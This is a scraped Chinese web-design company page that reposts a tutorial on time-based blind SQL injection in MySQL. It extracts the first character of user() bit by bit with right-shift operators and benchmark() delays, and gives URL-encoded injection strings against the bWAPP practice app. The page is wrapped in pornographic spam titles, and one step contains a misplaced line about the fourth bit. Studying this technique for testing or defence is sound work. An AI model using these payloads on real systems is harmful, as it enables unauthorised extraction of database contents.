老熟女激烈的高潮_日韩一级黄色录像_亚洲1区2区3区视频_精品少妇一区二区三区在线播放_国产欧美日产久久_午夜福利精品导航凹凸

重慶分公司,新征程啟航

為企業提供網站建設、域名注冊、服務器等服務

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

本篇內容主要講解“如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注”吧!

創新互聯是一家專注于成都做網站、網站制作與策劃設計,神池網站建設哪家好?創新互聯做網站,專注于網站建設十多年,網設計領域的專業建站公司;建站業務涵蓋:神池等地區。神池做網站價格咨詢:028-86922220

右移位運算符會將二進制值1位的位數向右移位,如下所示:

mysql> select ascii(b'01110010');

+--------------------+

| ascii(b'01110010') |

+--------------------+

|                114 |

+--------------------+

1 row in set (0.00 sec)

mysql> select ascii(b'01110010') >> 1;

+-------------------------+

| ascii(b'01110010') >> 1 |

+-------------------------+

|                      57 |

+-------------------------+

1 row in set (0.00 sec)

這可用于在SQL盲注時枚舉字符串的字符。如果數據出現在完整的ASCII表中,則每個字符最多可以枚舉8個請求。

這里我們希望提取的數據是select user()查詢返回的第一個字符。

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第1位:

我們首先找到第一位的值:

????????

有兩種可能性:

0 (Decimal value: 0) // TRUE condition

1 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 7 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| 0                                                                                    |

+--------------------------------------------------------------------------------------+

1 row in set (2.35 sec)

SQL查詢導致時間延遲,因此條件為TRUE,第一位為0

0???????

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第2位:

現在我們來查找第二位的值,和上面一樣有兩種可能性:

00 (Decimal value: 0) // TRUE condition

01 (Decimal value: 1) // FALSE condition

mysql> select if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 6 )=0,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢沒有發生時間延遲,因此條件為FALSE第二位為1

01?????

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第3位:

現在我們查找第三位的值,同樣兩種可能性:

010 (Decimal value: 2) // TRUE

011 (Decimal value: 3) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 5 )=2,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢沒有時間延遲,因此條件為FALSE第三位為1

011?????

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第4位:

現在我們查找第四位的值,兩種可能性:

0110 (Decimal: 6) // TRUE

0111 (Decimal: 7) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false');

+--------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 4 )=6,benchmark(10000000,sha1('test')), 'false') |

+--------------------------------------------------------------------------------------+

| false                                                                                |

+--------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢沒有時間延遲,因此條件為FALSE第四位為1

0111????

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第5位:

現在我們查找第五位的值,兩種可能性:

01110 (Decimal: 14) /// TRUE

01111 (Decimal: 15) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 3 )=14,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.46 sec)

SQL查詢導致時間延遲,因此條件為TRUE第五位為0

01110???

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第6位:

現在我們查找第六位的值,兩種可能性:

011100 (Decimal: 28) // TRUE

011101 (Decimal: 29) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 2 )=28,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| 0                                                                                     |

+---------------------------------------------------------------------------------------+

1 row in set (2.44 sec)

SQL查詢導致時間延遲,因此條件為TRUE第六位為0

011100??

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第7位:

現在我們查找第七位的值,兩種可能性:

0111000 (Decimal: 56) // TRUE

0111001 (Decimal: 57) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false');

+---------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 1 )=56,benchmark(10000000,sha1('test')), 'false') |

+---------------------------------------------------------------------------------------+

| false                                                                                 |

+---------------------------------------------------------------------------------------+

1 row in set (0.00 sec)

SQL查詢沒有時間延遲,因此條件為FALSE第七位為1

第四位必須為1

0111001?

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

第8位:

現在我們查找第八位的值,兩種可能性:

01110010 (Decimal: 114) // TRUE

01110011 (Decimal: 115) // FALSE

mysql> select if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false');

+----------------------------------------------------------------------------------------+

| if ((ascii((substr(user(),1,1))) >> 0 )=114,benchmark(10000000,sha1('test')), 'false') |

+----------------------------------------------------------------------------------------+

| 0                                                                                      |

+----------------------------------------------------------------------------------------+

1 row in set (2.33 sec)

SQL查詢導致時間延遲,因此條件為TRUE第八位為0

01110010

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

到這里我們就完整獲取到了select user() 查詢返回的第一個字符的二進制值,轉換成十進制后為114。而114在ASCII表中表示的是r字符,因此該數據庫用戶名的首字母為r。

mysql> select user();

+----------------+

| user()         |

+----------------+

| root@localhost |

+----------------+

1 row in set (0.00 sec)

為了說明這種類型的SQL盲注攻擊,我已向大家演示了如何在bWAPP易受攻擊的應用程序上,枚舉“select user()”返回的第一個字符的第一個和最后一個二進制位:https://www.vulnhub.com/entry/bwapp-bee-box-v16,53/

1. 第一位SQLi字符串返回TRUE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=0,benchmark(5000000,md5('test')),+'false')%23

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

2. 第一位SQLi字符串返回FALSE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+7+)=1,benchmark(5000000,md5('test')),+'false')%23

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

3. 第八位SQLi字符串返回FALSE條件:

test%27+and+if+((ascii((substr(user(),1,1)))+>>+0+)=114,benchmark(5000000,md5('test')),+'false')%23

如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注

到此,相信大家對“如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注”有了更深的了解,不妨來實際操作一番吧!這里是創新互聯網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!


分享標題:如何使用MySQL位函數和運算符進行基于時間的高效SQL盲注
文章路徑:http://www.xueling.net.cn/article/jgcgis.html

其他資訊

在線咨詢
服務熱線
服務熱線:028-86922220
TOP
主站蜘蛛池模板: 久久久资源| 91一区二区三区在线观看 | 蜜桃精品成人影片 | 成人妇女免费播放久久久 | 国产精品视频入口麻豆 | 91成品视频 | 91成品视频 | 夜色福利院在线观看免费 | 国产女人喷潮视频在线观看 | 免费一级A级高清毛片 | 亚洲一区二区三区在线视频观看 | 天海翼一区二区 | 一级片欧美日韩 | 国产男小鲜肉同志免费 | 91精品国产99久久久久 | 56精品视频在线播放免费观看 | 6699性视频 | 五码亚洲 | 亚洲一区二区三区香蕉 | 91影视大全| 国产美女视频网站免费 | www.久久久久久久久久 | aa级片 | 欧美有码视频 | 久久久999精品免费 国产欧美久久久久 | 欧美国产亚洲精品 | 久久久国产乱子伦精品作者 | 中文字幕亚洲欧美在线不卡 | 国产精品丝袜黑色高跟鞋 | 日本欧美国产综合系列在线免费 | 极品成人 | yellow在线观看免费观看大全 | 天天干天天射天天操 | 精品国产一区二区三区四区阿崩 | 国产一区二区三区免费观看网站上 | www.91在线 | 一级片的网址 | 亚洲精品国久久99热 | 中文字幕精品乱码中文字乱码 | 男女吃奶做爰猛烈紧视频 | 久操国产视频 |